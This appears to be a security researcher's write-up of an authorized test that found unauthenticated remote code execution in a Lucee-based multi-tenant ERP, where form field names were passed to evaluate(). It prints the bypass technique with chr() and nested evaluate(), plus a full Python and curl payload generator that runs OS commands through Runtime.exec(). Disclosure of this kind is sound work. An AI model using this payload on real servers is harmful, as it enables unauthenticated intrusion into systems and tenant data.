From Field Name to Shell: Unauthenticated RCE in Lucee From Field Name to Shell: Unauthenticated RCE in Lucee

From Field Name to Shell: Unauthenticated RCE in Lucee

From Field Name to Shell: Unauthenticated RCE in Lucee

Hello hackers. This one started with a login page and ended with a shell. No credentials, no stolen session, no framework zero-day — just a form field name that was never supposed to be code.

The target is a multi-tenant Cloud ERP built on ColdFusion/Lucee. The login handler is ordinary: company ID, user ID, password, and a handful of hidden fields that tell the application which tenant datasource to use. The interesting part is not the login logic. It is a small loop in application.cfc that runs before the login handler and passes every submitted form field name into evaluate().

TL;DR — An unauthenticated POST with a crafted field name reaches evaluate("form." & fieldName). Semicolons are rejected, but & concatenation and a nested evaluate() are not. Dots and commas are built at runtime with chr(), which sidesteps the form parser and the comma-delimited fieldnames loop. The inner expression calls java.lang.Runtime.exec() and returns the output. Both application servers ran commands as tomcat. CVSS 9.8, CWE-95.

A note on disclosure: the target name, hostnames and tenant identifiers are withheld because the issue may still be under remediation. The assessment was authorized, and the commands used in the proof were read-only (id, whoami, hostname, uname, ls). No files were written, no persistence was established, and no tenant data was exfiltrated.

The login page wasn’t the interesting part

The login form posts to a ColdFusion handler. The page itself leaks a few operational details in hidden fields: the tenant datasource, the customer folder, a cookie name and an account ID. That is its own multi-tenant story, but it is not this one. The handler also runs inside an application with an application.cfc lifecycle. onRequestStart fires before the requested template, which means the code in that function sees every POST before the login handler does.

A malformed field name caused the error page to dump the surrounding source:

50: <CFSET Form.UnsaveText= "" />
51: <cfloop list="#fieldnames#" index="fLI">
52: <CFSET Temp= evaluate("form.#fLI#") />
53: <CFIF findNoCase("<script", Temp)>
54: <CFSET Temp= reReplaceNoCase(Temp, "<script", "_script", "all") />
55: <CFSET Form.UnsaveText= listAppend(Form.UnsaveText, "_script") />

Line 51 takes the list of submitted form field names. Line 52 concatenates each name onto the string form. and hands the result to evaluate(). Line 53 then checks the result for the literal string <script.

That is the whole bug in two lines: the developer wanted to sanitize values, but wrote a loop that turns field names into CFML code. The <script blacklist is irrelevant to that path. The field name is the input, and evaluate() is a code sink.

Login request flow into the evaluate sink

The form itself is never submitted with valid credentials. The evaluator runs first.

Understanding the sink

ColdFusion’s form scope is populated from the URL-encoded request body. fieldnames is the list of keys. cfloop list splits that list on commas by default, then binds each item to fLI.

evaluate("form.#fLI#") is a string interpolation followed by an evaluation. If fLI is companyloginid, the expression is form.companyloginid. If fLI is something else, the expression is something else. The evaluator accepts CFML expressions: property access, operators, function calls. It does not accept statements separated by semicolons.

There are two filters sitting in front of the sink, both accidental rather than intentional:

  1. Lucee’s form parsing. By default, Lucee parses dotted field names into nested structs (unlike Adobe ColdFusion); the behaviour can be disabled with this.formUrlAsStruct=false in Lucee 6.1+. In this deployment, dotted names did not survive as a single flat key, and method chains like zzqtest.getClass() did not evaluate as Java calls.
  2. The comma-delimited list loop. cfloop list treats every comma in fieldnames as a separator. A payload that contains a literal comma is split into fragments before evaluate() ever sees it.

Those two constraints are why the first, obvious payloads failed. They are also why the final payload is shaped the way it is.

The parser gauntlet

The first probe was deliberately simple: a field name with CFML-invalid syntax.

POST /masterlogin/cloud_login_submit_v5.cfm HTTP/1.1
Host: login.example
Content-Type: application/x-www-form-urlencoded
zzq<b>marker456</b>=zzqmarker

The server returned a Lucee error:

Lucee 6.2.7.16 Error (expression)
Message: Syntax Error, Invalid Construct at line [1] / column [22] / position [22]
in the CFML Expression
1: form.zzq<b>marker456</b>

That is the proof of evaluation. The field name was not escaped; it was parsed as code and failed on the < character.

The natural next step was to try a statement:

zzqtest=1;writeOutput('ZZQMARK123')

The response contained ZZQMARK123, which looks like success until you read the error: the marker was inside the echoed expression string in the error page, not in the response body produced by writeOutput(). The semicolon itself was a syntax error. evaluate() takes an expression, not a statement list. This is a useful trap: a grep for your marker can lie to you if the error page echoes your input.

The third probe moved to method chains:

zzqtest.toUpperCase()

That produced a struct-cast error instead of a string result. The dotted name had been normalized into a nested structure; the method-call shape did not survive the form parser. Even if it had, the literal comma in createObject('java','java.lang.Runtime') would have been eaten by the cfloop list delimiter before evaluation.

Three parser gates between the field name and the evaluator

So the constraints were:

GateWhat breaksWhy
Form parserLiteral dots in the field nameDotted names are normalized into nested keys; method chains stop being method chains
List loopLiteral commas in the field namecfloop list="#fieldnames#" splits on commas before evaluating
EvaluatorSemicolons / statementsevaluate() accepts a single expression, not a code block

The useful part is that none of these constraints forbids an expression. The attacker only needs to build one expression that starts with form. and stays valid.

Building an expression that survives

Start with a normal field:

x=abc

That makes form.x a string. Now append a CFML operator and a function call in the name of a second field:

x&writeOutput(...)

The evaluator sees:

form.x & writeOutput(...)

& is string concatenation in CFML. It is a valid operator after a valid operand, and it does not require a semicolon. writeOutput() is a built-in function that writes its argument to the HTTP response. Calling it inside the expression gives the attacker a side effect even though the expression’s return value is irrelevant.

The first proof used a runtime-built marker so the error page’s echo could not produce a false positive:

x&writeOutput('ZZQ'&'MARK456')

The response contained the contiguous string ZZQMARK456, which only appears if the concatenation and writeOutput() actually ran. That is arbitrary CFML function execution.

The next problem was the class name. createObject('java','java.lang.Runtime') contains a literal comma (list split) and literal dots (form parser). The field name has to avoid both. The solution is to build the characters at runtime:

  • chr(46) → .
  • chr(44) → ,
  • chr(39) → '

Those calls appear in the field name as letters and parentheses, not as the characters they produce. The form parser and the list loop have already finished by the time the inner expression runs.

The final piece is a nested evaluate(). It is reachable as a built-in function inside the expression. The outer evaluator parses something like form.x & writeOutput(evaluate('...')); the inner evaluator then parses the runtime-built string with no restrictions from the form parser or the list loop.

Anatomy of the working field name

That is the bypass in one sentence: use the outer expression only as a bridge, and do the real work inside a nested evaluator whose input was assembled after the parser gates.

From expression to OS command

ColdFusion’s createObject() can instantiate Java classes. The inner expression:

  1. Creates java.lang.Runtime.
  2. Calls getRuntime().
  3. Calls exec('id').
  4. Opens the process output stream with getInputStream().
  5. Reads the bytes with readAllBytes().
  6. Converts them to a String with createObject('java','java.lang.String').init(bytes).

The full inner expression is:

createObject('java','java.lang.String').init(
createObject('java','java.lang.Runtime').getRuntime()
.exec('id').getInputStream().readAllBytes()
)

Runtime.exec(String) tokenizes the command on whitespace and runs it directly; it does not invoke a shell. That is fine for id, whoami, hostname, uname and ls. For shell features you would need to pass an explicit shell and argument array, but that is beyond what was needed for the proof.

The generator below takes a command, builds the inner expression, converts the dots, commas and single quotes in that inner expression into chr() calls, and prints the URL-encoded field name. The curl command sends it as a normal form body:

Terminal window
PAYLOAD=$(python3 - <<'PY'
import urllib.parse
cmd = "id"
inner = ("createObject('java','java.lang.String').init("
"createObject('java','java.lang.Runtime').getRuntime()"
".exec('" + cmd + "').getInputStream().readAllBytes())")
parts, buf = [], ""
for ch in inner:
if ch in ".,'":
if buf:
parts.append("'" + buf + "'")
buf = ""
parts.append(f"chr({ord(ch)})")
else:
buf += ch
if buf:
parts.append("'" + buf + "'")
payload = "x&writeOutput(evaluate(" + "&".join(parts) + "))"
print(urllib.parse.quote(payload, safe=""))
PY
)
curl -s -X POST "https://login.example/masterlogin/cloud_login_submit_v5.cfm" \
--data "x=abc&${PAYLOAD}=y" | sed 's|</TD>.*||; /<style>/,$d'

Observed:

uid=999(tomcat) gid=987(tomcat) groups=987(tomcat)

The sed filter matters. The command output is written at the very start of the response; the application then errors for unrelated reasons and appends a full Lucee error page. The filter removes the error page so the output is readable. It is generic: it works for whoami, hostname, uname -a, ls /, and anything else that writes to stdout.

Other commands from the same primitive:

CommandOutput (redacted where sensitive)
iduid=999(tomcat) gid=987(tomcat) groups=987(tomcat)
whoamitomcat
hostnameprivate AWS hostname (withheld)
uname -aLinux … aarch64 GNU/Linux
ls /bin boot dev etc g3 home lib …

The RCE reproduced on both application servers. whoami was tomcat on each, and the hosts were separate Linux aarch64 EC2 instances. The hostnames are withheld; the important part is that the process was the ColdFusion service account, not a container with no reach.

Lessons

A few things are worth carrying to the next target:

  1. Input names are input. WAFs and code review tend to inspect values. This bug lived entirely in the key.
  2. Dynamic evaluation needs an allow-list, not a blacklist. evaluate() with attacker-controlled text is not made safe by checking the result for <script.
  3. Error messages are reconnaissance. The framework’s detailed error page handed over the source lines that identified the sink. Verbose errors make every other bug cheaper to exploit (CWE-209).
  4. Parser quirks are bypass opportunities. The form parser’s dot handling and the loop’s comma handling looked like obstacles; & plus nested evaluate() plus chr() turned them into a route.
  5. Multi-tenant applications multiply impact. One unauthenticated request to a shared lifecycle is one request against every tenant behind it.
  6. Confirm your marker is not an echo. The semicolon test “worked” only in the sense that the error page repeated the payload. Distinguish between reflected input and executed input before calling it a finding.

If you are reviewing a ColdFusion codebase, grep for evaluate( first. Then check every place a request key, field name or parameter name is concatenated into code. The value path is usually the one that gets tested; the name path is the one that gets missed.

References


The target name, hostnames, tenant identifiers and sensitive values have been withheld. The assessment was authorized; the proof used read-only commands and did not access tenant data or cloud credentials.


← Back to writeups